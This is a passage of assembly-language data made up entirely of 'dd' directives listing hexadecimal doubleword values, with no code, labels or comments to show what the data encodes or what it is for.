dd 0FD05B029h, 0E863893Eh, 0AE97C7Ah, 981A7064h, 45E04E01h
dd 590BE3Fh, 84468E9Eh, 0FE565564h, 2AB8D6D1h, 29084FA0h
dd 581E9183h, 461F85A4h, 0E084701Eh, 495AF383h, 0C49F3117h
dd 0C2440226h, 308F4413h, 2EA1517Ah, 986355Bh, 0C2C4A175h
dd 8FABD245h, 4B455CDh, 4AF9A127h, 0BF7A5231h, 0D0572BDFh
dd 0A983F9FEh, 1F2772E2h, 72686D01h, 91D20585h, 44C1C36Bh
dd 4EE7D03Bh, 493B1F20h, 8A1FC654h, 0AA13B116h, 6070506Bh
dd 6014A0h, 0FE55BE82h, 0C0A8C898h, 0B41043B5h, 69618389h
dd 0A3189F01h, 711EFBC5h, 9E69D094h, 7999E8E4h, 667E9830h
dd 8DC41EE8h, 9B402AB6h, 33DE2DDCh, 0FF03816Fh, 0E837E324h
dd 0BD596517h, 21801F05h, 681B5B85h, 2DBD327Dh, 56E9D1C7h
dd 0C906ED51h, 18B8BC2Eh, 0CB840FD7h, 0C34B3F02h, 7A4DE7D1h
dd 0DCA760AEh, 0A900593h, 0E05E8952h, 0D1090575h, 95963307h
dd 0E5184B33h, 20D4908Fh, 2EE73B34h, 0FFF1A026h, 0F2FAFA45h
dd 1D5C58C3h, 0B2D0385Fh, 2343818Bh, 0C4B0DB60h, 0E5ABF2ADh
dd 979C2EF4h, 377BAC0Bh, 0C5CA68F0h, 36EEC751h, 3F1C1409h
dd 9BBBE810h, 6063AE62h, 0D4214FC3h, 3DBC7731h, 0C772E032h
dd 1BDE7A28h, 0AF745458h, 0C6942544h, 77295CC3h, 0EE904FC3h
dd 8292FC68h, 47585A23h, 0B1D2D9Eh, 0B4744946h, 0BCEEF2E4h
dd 2DB320E3h, 739E0830h, 5106BB33h, 0E7E00779h, 9F2AE4D3h
dd 0A430559Bh, 28602A05h, 7A218C3Fh, 68262457h, 9A482FD6h
dd 5A230154h, 0C77FA5C9h, 8B062A20h, 8A884280h, 49E1D7F0h
dd 0C4BE2A60h, 3A9A1DECh, 55002DF4h, 54324C05h, 60D4DC3Ch
dd 3A49E809h, 25E21894h, 0E14D4ABEh, 55AFF6Eh, 0F2EEA857h
dd 0CB7EBE23h, 0FD3144E8h, 84589104h, 6B4B08D7h, 123DDB5Bh
dd 0CF8F8167h, 3B5EEE7Ah, 2E9E017h, 56393E33h, 0A7691045h
dd 0BBD20415h, 38464AA0h, 794CAC2Bh, 0AA03EA68h, 476D0BF1h
dd 0ECBD92ABh, 914B6057h, 44183F8Fh, 0A1812B8h, 90BF2523h
dd 23BA975h, 0E75234A9h, 0B0801576h, 0EC42189Dh, 1C66FAE3h
dd 97573551h, 45A273D7h, 34C9E040h, 9E37AE83h, 0D42DC61Eh
dd 2D3120EAh, 3405C481h, 0D7452BC9h, 105618C2h, 0A881A211h
dd 2DEEDA5Bh, 1608455Eh, 2035C5BBh, 0B3663202h, 3CC5A07Fh
dd 0CA95B90Fh, 47CE7615h, 655A1CB8h, 21F8CA48h, 0BC22EEh
dd 0A92B018Fh, 5B287620h, 9E32D050h, 745D312Eh, 0A3A18359h
dd 2374A24Eh, 7E84B333h, 0E4D817DAh, 6D0FABA4h, 976BF385h
dd 3886C275h, 211AC650h, 972E00DCh, 0F74D08F2h, 0D5D39392h
dd 6C12CA05h, 0AA4DF921h, 0C55945D5h, 0ABA2B210h, 861131A3h
dd 0C2B963Ah, 6E07AA80h, 0E08C16A0h, 40064454h, 0AF088A5Ch
dd 0A1CBE300h, 394F584Bh
dd 0D7B2A6FAh, 406E350Dh, 5C3039A8h, 0D08FB1E7h, 0CBF6024Ah
dd 14A8A11h, 1354494Dh, 0FEAF33h, 27A0C0C1h, 819C8008h
dd 6CEE205Bh, 16012BF2h, 527F89F8h, 681D1D0h, 824F01B7h
dd 60AAF86Ah, 2F967AE0h, 0EA8BE7B3h, 0B56D8CF7h, 0A906CE6Ch
dd 3805E50h, 9AEDD611h, 5967CF45h, 79A00D54h, 5400BCC0h
dd 0D2F82370h, 305C2A0Bh, 9813EA32h, 5B806368h, 10C0CBB0h
dd 9610AFFCh, 0A65B69C4h, 0E60A776Ch, 10C77797h, 1E96ADC7h
dd 5FE90EECh, 6554E9FFh, 78441C02h, 4CFA2400h, 0E20B1A0h
dd 91A8C426h, 0E950FBDFh, 5A4A2AC4h, 1656270h, 0D5C4991Dh
dd 8CFFF4Bh, 0A5B288D6h, 1A4C6695h, 1A443252h, 15CE308Ah
dd 0C082C408h, 895BF4C3h, 84C094CAh, 0D9DDA291h, 43D9506h
dd 2C00132Dh, 2721560Ch, 97B15552h, 4ECA4F73h, 89628F1Ah
dd 1B3765A1h, 0DFB24C07h, 0FA60ADEBh, 49D60E37h, 9C2940A9h
dd 2AAFECD4h, 0F2A0A1E5h, 36865D27h, 1FC7F77Eh, 2D06CA5Eh
dd 68957901h, 0C5309100h, 0B7B9D43Ch, 6614C0h, 0C510B761h
dd 484F1C38h, 434955EDh, 434AD811h, 23618611h, 0ED470F39h
dd 0B7ECE141h, 0D67E7490h, 1DC368F5h, 84308B8h, 0BD544634h
dd 0B546608h, 4A020F05h, 0BE575079h, 3B542CA0h, 899F1B7Fh
dd 0E8FB9718h, 0C7BE4B73h, 5B111CEDh, 261F2D4Ah, 0A3389849h
dd 9C651B49h, 0C38D8020h, 42046E00h, 0C02407B5h, 48AC587Dh
dd 0D4B5731h, 401AB15Eh, 1450C1A4h, 10935D8Ah, 82AFC61h
dd 90D5D118h, 6F2A202Bh, 5845A055h, 18458C6Dh, 3A10D26h
dd 2B090D2Dh, 0C696F475h, 66FECC62h, 5BB78176h, 72B85A07h
dd 16EDD347h, 60A78C5Dh, 1BAE271h, 79F8EB84h, 0FEB28995h
dd 29A5F967h, 2E72587Ah, 471DD432h, 479057D2h, 0D9EC4309h
dd 7939E591h, 6E4A893Ch, 0D89C6DCFh, 28CA8C12h, 0FB54AB77h
dd 7A4AA605h, 220479F6h, 0DF81955Ah, 2C4A9541h, 96088994h
dd 0EF6EA820h, 5C02115h, 412758B6h, 0BFA80CA0h, 0B72A7017h
dd 450543B0h, 0AA86E2E1h, 261E076h, 608AE553h, 618D8402h
dd 0A0397E82h, 5E11D966h, 0D6E021F9h, 2252B275h, 3B187486h
dd 0C5102097h, 6D8CFD81h, 4C344727h, 50D15D6Ah, 6D18872Eh
dd 12B05F32h, 35C0C332h, 2C22B454h, 85555954h, 0AE60C17h
dd 38D00DDCh, 0C1E7380Ch, 0E20A1A76h, 7D0CA4E6h, 385924A1h
dd 66514455h, 0B4AD5541h, 0E381D58Bh, 8C5D0FC1h, 0C5D6CFD8h
dd 889122A8h, 725A7921h, 1673D055h, 6431AAFEh, 0E731C882h
dd 59CBCD64h, 71145A97h, 0D2D59A68h, 59E69531h, 9BC740CCh
dd 68B58839h, 0BD399163h, 0E0FEDD33h, 4F4668E3h, 3D8E481Fh
dd 0E54B300Ch, 17B5B3D8h, 86764311h, 7BE691CAh, 27A7C2C8h
dd 9D6A533Eh, 9DD27E30h, 71099057h, 372AD947h, 4D193F8Bh
dd 6558291Dh, 586E5996h, 4D3EFB93h, 0A03B2C17h, 82E88A46h
dd 0AA022968h, 4E824F74h, 64B562D8h, 0F010A31Dh, 44021F15h
dd 0A49B7076h, 0A934F3A2h, 0EB3B4108h, 0F959AC29h, 9653677Eh
dd 8BDC5F85h, 459F2F25h, 79398DDCh, 0E8BA6399h, 4F801F35h
dd 9F3A2160h, 0D373A740h, 8BD69C05h, 41C43E4Ah, 0A2F75783h
dd 0CFBCBB97h, 0EA9F025h, 59BC133Bh, 0C0EC747Bh, 2B5D1E70h
dd 0DEDA2F7Dh, 0B2F72DEBh, 766DCE93h, 456B5CEh, 24BD8DB6h
dd 510FAD59h, 32368FB7h, 0B4F6A5C5h, 58BAEB3Bh, 3B0B6727h
dd 7AE25EB0h, 39C5CECAh, 65A6CC7Eh, 0DD446098h, 0A2996FC9h
dd 0FBC158DDh, 0EC53954Ch, 5423FF5Fh, 0F0C499F7h, 9C089844h
dd 95E83F2Ah, 85CB6631h, 0A8EB02EAh, 0A18BE86Fh, 158B9F8Ch
dd 62E5F78Fh, 53708B7h, 475CEEBCh, 1A50B0BCh, 0A5B59C40h
dd 105DF90Ch, 444C0365h, 4230019Dh, 0D2420E0Eh, 3BD40D2Fh
dd 0C96089CFh, 806EA9E1h, 185F4BDh, 26501CEh, 798653Ch
dd 97084E40h, 6583349Dh, 431DEB9Ch, 196782F8h, 98C4C057h
dd 659834D3h, 0A5B9EA5Dh, 18CE1DE8h, 9627A148h, 0E782C685h
dd 4079181Ch, 0EB837C61h, 3ACACC6Ah, 5D83C6A9h, 3CE5BA7Ch
dd 0DDAD4FD1h, 0FA6F9A60h, 0F01A8932h, 0FC3B4DD6h, 8665173Ch
dd 0B08DD8B6h, 69301619h, 7472E228h, 0C361C231h, 691CBCC1h
dd 1CA7947h, 624B5C05h, 78C3E729h, 0BAD11A03h, 0D7C81E06h
dd 0B271967Bh, 0EF46389h, 126B407Bh, 16D99B5Dh, 0AD34059Fh
dd 1B5A4661h, 23725A8Fh, 26BC713Eh, 0F6CA41D4h, 54AE7A37h
dd 81119592h, 2BD2B9C3h, 283030B9h, 7B492B3Eh, 551D2F97h
dd 57395C8h, 8F3BE472h, 3BD22968h, 5026CE2Ah, 168CB52Dh
dd 0A03B8852h, 4BAC50DAh, 5FF09064h, 3B0A1441h, 1FE87C2Dh
dd 2E9E0B93h, 40ADAC59h, 0AA4F2602h, 0A792ECA3h, 0F7442351h
dd 445ADAAAh, 5283B845h, 0B7115967h, 0CDF9ABDh, 0C0B385C5h
dd 3DE0BEA2h, 30A5267Eh, 328A3FECh, 30694F01h, 1557100Fh
dd 70A3B2Eh, 7F0938B3h, 8B3454C4h, 89142B7Ch, 0A048273Dh
dd 8523BAABh, 2A3F6566h, 0CF36AC61h, 3E018C0h, 2B1C1274h
dd 0FE5D3EB3h, 51DE1DC5h, 2423C9Fh, 0BFCA3540h, 0A0360E0h
dd 21652796h, 77813B4h, 23B9DA69h, 0A6C114A3h, 461DFCF7h
dd 6677252Fh, 923BE6C6h, 7824830Ah, 799E19Ch, 5453C774h
dd 7666DC76h, 0F47BCB84h, 4C333E1Eh, 0FD3DCB96h, 0F4AB9ECAh
dd 61C0E880h, 2340E4F8h, 515EDCFEh, 0D30C5C0Bh, 8CAC7C48h
dd 0E5DF4A9Eh, 4C72F68Bh, 6E603B9Eh, 0CF62268Ah, 17D849DCh
dd 40C93A5Ah, 63ECFAB5h, 1006C09Eh, 0AD0347BDh, 0F1739D5Bh
dd 0E38D69DCh, 7D06DD40h, 0B22087B1h, 3BF0D9F5h, 7AAD32A8h
dd 96933306h, 3132208Ah, 8AB81DAAh, 2A173989h, 54F25AECh
dd 0E80C3F7Bh, 7E06AE15h, 43613EE7h, 0B0B3517Ch, 0F6F989Fh
dd 0AF404F11h, 0D04E0735h, 8B551A22h, 5F2BD8B0h, 98A56A89h
dd 60886645h, 36352D1h, 0ECB82FF1h, 83383DEFh, 30D4B307h
dd 56006D20h, 2324222Fh, 20AF7F8Ah, 6388F843h, 0A3437280h
dd 4F380B0h, 84C4E194h, 774C8D40h, 10605828h, 69F0A91h
dd 7116C2CCh, 790722A0h, 0C026C1E9h, 1E6DC17h, 65EF5916h
dd 0FC60D27h, 0CF90238Bh, 0A25BD7E0h, 0C03B605h, 11F650DEh
dd 50FC4B0Ch, 57900920h, 81A124E9h, 3FDC6037h, 0E0AF1A81h
dd 0AD0E687Ah, 135A1A23h, 0B00AA2ECh, 2BAB310Eh, 17CF7B11h
dd 0D5F80AB0h, 0DED8EB33h, 64587AB9h, 0B27ACBE3h, 7AC5494Dh
dd 0C350D746h, 45A157A9h, 3F633E45h, 7B77B957h, 7B7B91D6h
dd 146AEB22h, 5588324Ah, 0E60FD5C5h, 8AE2462Fh, 9EBC536Ch
dd 7BCD819Eh, 3977A32Eh, 0B271DAAAh, 1A23194h, 3A80B446h
dd 4F03759h, 0CC60EBD6h, 0F92841ADh, 37772FA4h, 4FD4966h
dd 7BA9BD58h, 2C8CCB72h, 0DB62EB91h, 0C5A0AE31h, 0C15070BAh
dd 26182D2Eh, 8C110B8Dh, 0D2AC462Eh, 0C11F5738h, 0A1E04240h
dd 681B1447h, 3EBE1CACh, 44386220h, 639C59E6h, 6B3611C5h
dd 864547Ch, 0E61624DCh, 89827293h, 0D09CD208h, 97D0753Dh
dd 141815D5h, 363E1AF1h, 0FB3A43E8h, 7FBACF93h, 0C600304Eh
dd 72181E77h, 14431EC3h, 0C105CCE9h, 5866A09h, 25177C45h
dd 0E24814DDh, 2ED1E4AAh, 0BC683B6Ch, 0A32B6503h, 86B4E548h
dd 0A263A421h, 0DC08C2Eh, 0D62E3A64h, 0A56FB2B4h, 23003BF1h
dd 2DCAF4DCh, 2E3CD3BFh, 4F34DACEh, 2FA128AFh, 0A1C4E410h
dd 8FECBEAEh, 9B2DBC34h, 317A313Ah, 0BB3FE7D4h, 0C5118B83h
dd 4715A296h, 0BDF6A0C8h
dd 47F72EDh, 406445E7h, 0DE8240C5h, 0EB4B5564h, 0D3AF228Ah
dd 0CAADAD05h, 16EE5B3h, 2841744h, 5195048Fh, 303A5178h
dd 648CD6D5h, 6C51D5EDh, 0F6D53097h, 33B8A388h, 0FE14211Dh
dd 0E03D06E7h, 44572FB0h, 56B52980h, 56AB2C5h, 4E23405Eh
dd 60D69BCh, 7E6262C6h, 88851AC9h, 538DD53Eh, 3218AC84h
dd 0CFCFA65Ah, 1688A7DEh, 6CEA2D55h, 79FD2E89h, 52EC8094h
dd 0B2BB042Bh, 2AECE5CAh, 0F5C41CE3h, 0B99D1F14h, 0A2F8DFD0h
dd 0AD1B237Ah, 33266BC6h, 1F0C07FAh, 47B8AA13h, 5E5A52BBh
dd 0A576AEE7h, 58173C18h, 6309717Bh, 44DAB68Eh, 444CADA0h
dd 0A84B26DAh, 0FE5E26Dh, 1012073Dh, 0A3283189h, 0A2086811h
dd 0A0FC6911h, 31286A11h, 0AF93682Fh, 55AA0AB8h, 0B5ADC348h
dd 20D6ED4Ah, 4C2CE0A0h, 44B6F222h, 0A965D797h, 0FDACF9B7h
dd 8BE8FA2Ah, 0AC1B857Ch, 0CEA057CEh, 71FDB7CEh, 0C844A9E4h
dd 9F5A0160h, 3965BC25h, 0C901CB13h, 8D6355F1h, 0E62CF9AFh
dd 908A3790h, 6127A975h, 0F963B1BFh, 786192E6h, 4BCF6B15h
dd 0BAB3F14h, 8E2CD409h, 8AA9EC34h, 7EE5CCFCh, 0A2C104CCh
dd 210850Fh, 9D282908h, 0D952B153h, 62E93045h, 0D1805D2Ch
dd 0EA561501h, 5515FC5Ch, 0B938813Eh, 0E7C1AFA2h, 0E55729B4h
dd 0AA859A00h, 148AD9FCh, 20A1E0BCh, 629565B1h, 881668FEh
dd 0CD95EAF9h, 0B3ED57DBh, 387DD9C9h, 0E20312B3h, 0DC5D0FC1h
dd 0B444698Fh, 1A5D5906h, 0BA1F177Ah, 1A5858DDh, 2BD3E440h
dd 761F8D0Dh, 35075008h, 36F11883h, 0C179D8DEh, 0F146600Eh
dd 81FBA050h, 0DA9D10B4h, 22BBEBC6h, 0D861B78Eh, 0F91BD5E9h
dd 2A12A453h, 381B5D53h, 0B909CBECh, 0DCC1619Dh, 0F92A9087h
dd 54E2CEA7h, 49E70237h, 0F6A273AAh, 0AB0D5068h, 0F02954D0h
dd 75C56BF8h, 0BA752E14h, 3F6D988Bh, 3651A04Fh, 4ABB17C6h
dd 7517446Dh, 5A8AE4FAh, 5FD77425h, 0D62F6499h, 582E717Ch
dd 66FE93E1h, 0AD435269h, 2D1080C7h, 5C1E5209h, 0D3FFC330h
dd 0AA91C635h, 55BD2AE9h, 387DB52Eh, 0AC8F1102h, 25D19820h
dd 0E3A76F94h, 0C580625Bh, 5D6F5B85h, 70822F5Ch, 7ED21D3Dh
dd 0E9E17EF2h, 3CC56009h, 97C9F22Ah, 24F6F27Bh, 68D35530h
dd 2F5602BBh, 0E8BBAEA4h, 550B3FC8h, 0D282A043h, 2C58A200h
dd 0E40857C1h, 416827BAh, 57E41C60h, 0AFF28E1Bh, 34A7EAB8h
dd 0BA02E385h, 0C3083FCBh, 5F1AE1A4h, 0BA0281D4h, 3957064Bh
dd 0A44D9961h, 1999C2Fh, 0C685580Bh, 5CC3404Eh, 6E8A7A8Bh
dd 32E84AC5h, 2687720Ch, 9AB5551Fh, 0D938ED05h, 0E7CC5A30h
dd 9CA0ACF4h, 8560AA01h, 6D2B4601h, 0CAFDEABFh, 0B955287Ch
dd 95567FF4h, 8A256795h, 0A945A7CAh, 1A2A1316h, 2AADD7CBh
dd 47981390h, 4075FD91h, 15D1DBEDh, 634A45h, 25F4FD22h
dd 507338D6h, 6006567Dh, 77F7028h, 4EBDD6EDh, 22A39523h
dd 0E070318Dh, 1C95D3C7h, 9AAE09C4h, 9A2FC5DCh, 330E5F87h
dd 0AE9E222Ch, 0C7F0E1B4h, 0EFA232BBh, 85E7648Bh, 0C945E197h
dd 124F1773h, 4BE03C0Ch, 17477DD7h, 6CADBE79h, 7621E675h
dd 883D0076h, 0FAA1173Ah, 1DD09C57h, 0A47AA70Ch, 388FD3F2h
dd 51623E7Eh, 885F4597h, 9C6260E6h, 5E81E129h, 5DCF32EFh
dd 759AA459h, 70C99C6Bh, 64718534h, 915AEABAh, 83CA2577h
dd 0C9C17AA1h, 4809CA61h, 488159BFh, 3A940196h, 0F071857Ch
dd 9B400753h, 1BF37D19h, 93117D7Dh, 3E844869h, 0BBF05F99h
dd 92AB148Ah, 7F1DD4BAh, 0F2EA40CAh, 0B7F036CEh, 41934BCEh
dd 2C6DC5FAh, 2B44E862h, 822C0832h, 845513E8h, 48EA6D02h
dd 0EFD8B872h, 902ECD08h, 5020B9FAh, 9746A9FFh, 72048F16h
dd 0D5F41115h, 0F48CC062h, 3F173EC7h, 0EF60C77Ch, 7AE65D3h
dd 37840ECCh, 0A182D611h, 0A5707680h, 121A44A4h, 3A444768h
dd 6874449h, 0A79691DAh, 0E621911h, 75CFC1F0h, 0ABF14061h
dd 24047E3Ah, 0F1DC4F0h, 5DF95486h, 5E065310h, 1B54B83h
dd 3E620BEBh, 274872EBh, 443CC1F6h, 54B90925h, 0C40B55C9h
dd 0B07D318Ch, 0A7B23BE1h, 5F185D6Fh, 0ED519816h, 15BDC70Ah
dd 0F7E0175Ch, 0F4A0150Fh, 3490CBECh, 6FC193E0h, 17E8550Bh
dd 8C4AEC6Dh, 56D8FCA6h, 0D7DE6695h, 710F8C68h, 0D29C419Dh
dd 595F04A1h, 0C6645F60h, 4259CD1h, 20BCC2FBh, 0F86C7588h
dd 4D9C60A3h, 0B0C0429Ah, 948C4EA2h, 527FFF87h, 0DCE9BBA2h
dd 0C5980BAFh, 593102BAh, 6F28C0B4h, 0A9FC6AFBh, 7A34EBD1h
dd 552F821Fh, 0DA060725h, 0F543061Eh, 0F3D2251Ch, 2ED82B00h
dd 726ECAAEh, 0E114B01Bh, 26A055D1h, 7D837240h, 1AE46240h
dd 0C1145E3h, 40A8CBA4h, 8A81D77Bh, 75695A2Ah, 253C9DCh
dd 557ACE55h, 0DADC6BE0h, 0E7A3F997h, 8FB0E040h, 6A8C7572h
dd 8931B0D6h, 0DFF8F4CCh, 0D7D8E65Bh, 8A31CEFCh, 0F67FE171h
dd 9436517Eh, 929C5831h, 24094943h, 0A651AFC2h, 0A9407DE8h
dd 79315948h, 0A9F675B4h, 0DA28A588h, 4EFEF0D8h, 0F9DD1DC0h
dd 45FD7F9Fh, 3763C60Eh, 55958860h, 59885719h, 609BFE25h
dd 0F8851957h, 9306F0ADh, 9962D12Eh, 68F0A900h, 0F1D16A05h
dd 0EF126357h, 5E60AF6Ah, 80DF22B1h, 3CD6B2Ch, 0CAFAE3D8h
dd 5BEE89AEh, 83471DB3h, 0E69A445Ah, 0D16F5271h, 1A802407h
dd 0C61A27F9h, 984889E8h, 0D4FF9ECBh, 0BBA1665Ah, 3805DEA8h
dd 0C9A8E501h, 0C0E27D8h, 12BA892Dh, 6239380Dh, 43D5C95h
dd 0A7EEC168h, 0D15A1E0Dh, 0A9EB760Ah, 0A8CA404Eh, 91172F61h
dd 993B4A40h, 7989722Dh, 27CDC922h, 849746A6h, 417DA1D0h
dd 87AE5C11h, 80599F91h, 0AE5FE86Ch, 0B88F851h, 0FC7CD8F2h
dd 0F9EFA24Bh, 493595E6h, 0F91CC7F9h, 18454FC7h, 69E25C7Ch
dd 2C1FC631h, 2A885403h, 0FA443C75h, 0D67108ACh, 87D0197h
dd 16D58392h, 83BFFB9Fh, 9B125306h, 0FDF408CBh, 0FC9EB98h
dd 2AA47550h, 0DC38D826h, 435564BEh, 9EF6A833h, 0D7D45229h
dd 54883C7h, 0CE7E5FF8h, 8D594298h, 2FFC1F79h, 5978B016h
dd 1B23FBD6h, 30E372C1h, 1045A70Dh, 9F5AFE06h, 0A05F217h
dd 3C989455h, 34F56A4Dh, 43A48A24h, 0C11803C7h, 8CB03A1h
dd 0D184293Bh, 4DCFAC5Ah, 417DC73Eh, 0F79AA8ACh, 0C2A41FDAh
dd 0DB7550D0h, 0BFC43A71h, 329DEFC2h, 2D64B8BDh, 5158C532h
dd 0ABFD53FBh, 0A01189h, 103C118Bh, 761432D1h, 2EF2904Ch
dd 4176A40Ah, 0FEE04B58h, 36D1174h, 0BD024514h, 5C1E1281h
dd 0E970EE3h, 28BB0B8Ah, 77196287h, 0A554A026h, 428FC802h
dd 6715834Bh, 3FA38C69h, 0B3730985h, 8D45052Bh, 5AD09FD1h
dd 37FBD49Fh, 5133FFC4h, 0C45CFB46h, 9D56BB9Fh, 60D37431h
dd 99615074h, 0D755A2FBh, 55E9AC41h, 939CAF16h, 2E8F1471h
dd 149AFE54h, 0E6CC3212h, 197B2339h, 2D732AF3h, 8BFF6B2Bh
dd 0FA20CC55h, 6E630222h, 0D1897332h, 8EE519E5h, 82B01E5Dh
dd 22E393CAh, 0A9E0B34h, 80D1297Ch, 0FC4B9018h, 320E4053h
dd 0CA0F86ABh, 506CA76Ah, 507B2DE8h, 93B72315h, 40D6604Ah
dd 25CC6281h, 0D1F9EA8Ch, 82B5854h, 4B5A4154h, 0C1289AA7h
dd 0EA3798BEh, 0D12C57CAh, 0AE337466h, 3A35F58Fh, 0CC501CDCh
dd 5D5CBB3Eh, 5427676Dh, 88986147h, 455300FFh, 5671C1A7h
dd 7BFBD599h, 0BEB1BD80h, 13CC8F30h, 99F40266h, 24F7C275h
dd 28B56C0Eh, 17D44231h, 7737624Ah, 26BEEF41h, 154B2E5Ah
dd 0A0912403h, 61719361h
dd 95831256h, 0AFB46BA7h, 5243116Bh, 1846BF85h, 0AD9E8D26h
dd 9AB701A5h, 6953A1BCh, 31DAF150h, 0F30AF88Fh, 5EDA2C97h
dd 1E62ACC6h, 0BFB6C5C3h, 0C9B9AC5Ah, 9746A8CCh, 42F48C67h
dd 9A112479h, 0BED65ABFh, 38A67994h, 0C1442E65h, 4CD0438Eh
dd 547A7D62h, 49286395h, 0A7AC24Ah, 7457AAA4h, 9E67EA0Bh
dd 2D799592h, 1BE1C665h, 37B05512h, 0C7F91645h, 60C614E9h
dd 2CFD1D31h, 9688A6F9h, 0B242021h, 0CE6443AAh, 5C77C177h
dd 5F680525h, 0EF0AE75Ch, 0B4883222h, 2AF0B123h, 68707ED8h
dd 28CA7F87h, 514F0C66h, 303DAE48h, 74CB4913h, 618BA2FFh
dd 80092480h, 498E2277h, 0F86EB45Ch, 0FB43AB4h, 1D0084BAh
dd 0EA7081D6h, 5E3BCD4Ch, 5D20BEA3h, 1056A683h, 0A0628A95h
dd 20FC517Ch, 0CAA9A2DDh, 9055B482h, 1A58097Dh, 0BD30E054h
dd 557C87A7h, 0B8EF8247h, 4AE73563h, 1B6861D9h, 9B635405h
dd 568D79B9h, 693AE31Fh, 0A763C639h, 75A2A4EAh, 0DE6822Dh
dd 0DDC62B63h, 0AD83A38Dh, 7B3B6CC6h, 0CC1C4281h, 70A2F6BAh
dd 0FA6A8AFEh, 2A268153h, 0B5A29246h, 0C3DC493Ah, 0D11AB2FAh
dd 52E2C4D4h, 0CD2038EEh, 8E5EEAC5h, 6660556h, 2D2F29BDh
dd 895AAA26h, 0A97AAB31h, 0AC2E4553h, 0AD6A5AAEh, 0F4A82C4Fh
dd 4A7F9200h, 8E7A416Eh, 3828E985h, 89777B8h, 0B7A80CDDh
dd 5FF9C5BEh, 31960497h, 0E01CACA1h, 0A7749708h, 0A85D6171h
dd 998841B7h, 0D6B9FBF5h, 44665F7Ah, 9E761E61h, 9A1282AAh
dd 0ED2E81EDh, 48D23089h, 440689F3h, 506827F0h, 786B54E2h
dd 32F03A21h, 13B163ECh, 2D51D755h, 19F9A4E8h, 65F540BDh
dd 99019417h, 0C52822FBh, 0FBCA49C1h, 0FC9A08ECh, 0A200C513h
dd 2B544F0Ch, 0A128D3EFh, 8C2C0349h, 0AA923F61h, 675658A3h
dd 0CFBC87E1h, 6A74AD23h, 0C2EFAC28h, 0B4E0F6B3h, 0BABCACh
dd 3A9CCA25h, 0E60E3938h, 590E2A9Bh, 6E4D1F79h, 8BA32A99h
dd 9C1A1A35h, 0FBD74390h, 83B977BEh, 29629BC5h, 2CB07C68h
dd 0CCF8610Dh, 94A665AEh, 148AFC5Ch, 0A8D61852h, 0A91A2ED2h
dd 0CDA8FCC3h, 25B7507Dh, 6124255Ah, 7C4B35DAh, 0B0A9785h
dd 346348C3h, 5CA2A517h, 0A3EE8B44h, 0C38DDEh, 0B8BF7C25h
dd 499CE930h, 5102A702h, 4D40491Fh, 8C857D65h, 77047957h
dd 0D2F201F4h, 21C6F141h, 0F4E5FA4Ah, 6C2EE079h, 7D045F1h
dd 0EA70129Fh, 2175262Ch, 70A5CBB7h, 545F3414h, 0FA377522h
dd 0FB722194h, 572856CBh, 4AEB98F7h, 307DB0BAh, 0DBB369A0h
dd 0F8BF2D14h, 8BE6EF11h, 1822E33Bh, 3A90FE4Bh, 2CF957EAh
dd 0BACBE87h, 87C545D2h, 0EE7C2D83h, 0DA8FD3D6h, 0E254DD45h
dd 852E9DDEh, 0D607D6Bh, 0C32791A6h, 773D0CA6h, 0D27C7C17h
dd 0DB8DBBD7h, 0FA7EE1E7h, 0EBF8230Ah, 0A3C21452h, 8B30A12Eh
dd 11453B9Dh, 1553A345h, 43CFAED2h, 0A3BF7C31h, 0CC7AA8E2h
dd 0D1197894h, 5362B909h, 9B45D879h, 0F2840EE8h, 0C32F17F1h
dd 85273FA1h, 0FC6E303h, 0FA8762E1h, 77CAAFDh, 519542C7h
dd 65E8C0AAh, 9820064Ah, 61044464h, 4D3C2AA2h, 459C531h
dd 9043C085h, 0F65D8302h, 0E82AB2B5h, 7A9EA18Fh, 0E0EC7D17h
dd 0E24B2CC9h, 7426554Dh, 23F0607Dh, 0C686C282h, 0ADC0D8B8h
dd 39143503h, 1487F30Fh, 89424F3Fh, 4AA1549Ch, 0EAD57321h
dd 1BD77354h, 886172CBh, 48C6D1D1h, 12C7937h, 6C40FF3h
dd 8A366B15h, 351E41F0h, 2B1790BAh, 0E46B9208h, 0DAFF1C63h
dd 2936F5EAh, 4DD775BAh, 0C883E489h, 0E6FEA617h, 24CB0774h
dd 21B0BEC6h, 44A280A7h, 0B16680A9h, 0DF44927Ch, 154229E2h
dd 427262E9h, 0FB10192Bh, 49A70497h, 84A98D99h, 258CE018h
dd 0BA8FE25Dh, 616D26F3h, 5E050916h, 21753D37h, 0A2F31AABh
dd 0A3FB2A51h, 1317E8BAh, 0C6229086h, 0ACC5F384h, 5DB98DB3h
dd 86BFB1EFh, 0C1C9B4DEh, 0D35DB714h, 0CFE40ABAh, 69AE51B7h
dd 48080C06h, 98491B10h, 32C25B44h, 9240E0C4h, 0C0CC4D80h
dd 142743A1h, 8A850491h, 5AA3B952h, 0A8C5DA1Dh, 7C2A210Dh
dd 2161D7DAh, 0CD22A32Dh, 38971153h, 0C486AC18h, 55C31949h
dd 2B85E757h, 6BF0450Ah, 5FD208E2h, 4F1F6F44h, 1F783E0Dh
dd 70481C2Ah, 63A8BF16h, 0A138434Dh, 0AAB2C662h, 4F5E830Dh
dd 0ABA0826Eh, 0D5615A49h, 0A9439A4Bh, 0BCDC31A6h, 0C601B8Bh
dd 0AA8385E9h, 0EE4885D9h, 7EFE0572h, 282EA745h, 0B4108943h
dd 77ADB22Bh, 0E5D7A54Dh, 0C48A9838h, 674058ABh, 0E64C3AE0h
dd 1744497Ah, 816B46CDh, 6111588Bh, 66C0D714h, 814ED652h
dd 52E74F5Eh, 0AF9545ADh, 7A073418h, 0CD68DFB4h, 0C1207E74h
dd 80377425h, 862345E2h, 3FBA1046h, 4BD7F1Dh, 604AC494h
dd 0C40806h, 0CADAA8ECh, 857A0D43h, 7902F1C2h, 46C062ACh
dd 45E98FECh, 5117D710h, 0D184DA34h, 0AED1A428h, 5D7E5E83h
dd 93DC6F54h, 0D020D9CBh, 0D247F016h, 228A2A05h, 0CAC7DE3Bh
dd 0BF37EDAEh, 9D312A8Dh, 0EE863D0Fh, 2D25D25Ch, 57AD182Dh
dd 603CF0B9h, 2CD5D192h, 0B2BAC323h, 0C1FF9749h, 5D8F9694h
dd 21418CB9h, 0C0C1CA06h, 98D0506Dh, 8851EDF1h, 408B0D95h
dd 0CEB39A66h, 59DDB772h, 2D15A24Ah, 346194BCh, 0AFB40546h
dd 157CC686h, 84C56A45h, 6D14552h, 2FBAA323h, 8F73E933h
dd 9D11321Bh, 5B78F60Ch, 45F47C18h, 6D05023Ch, 50F283C8h
dd 22165B00h, 7E75581Bh, 76FB77D3h, 7DEB727h, 26F342BCh
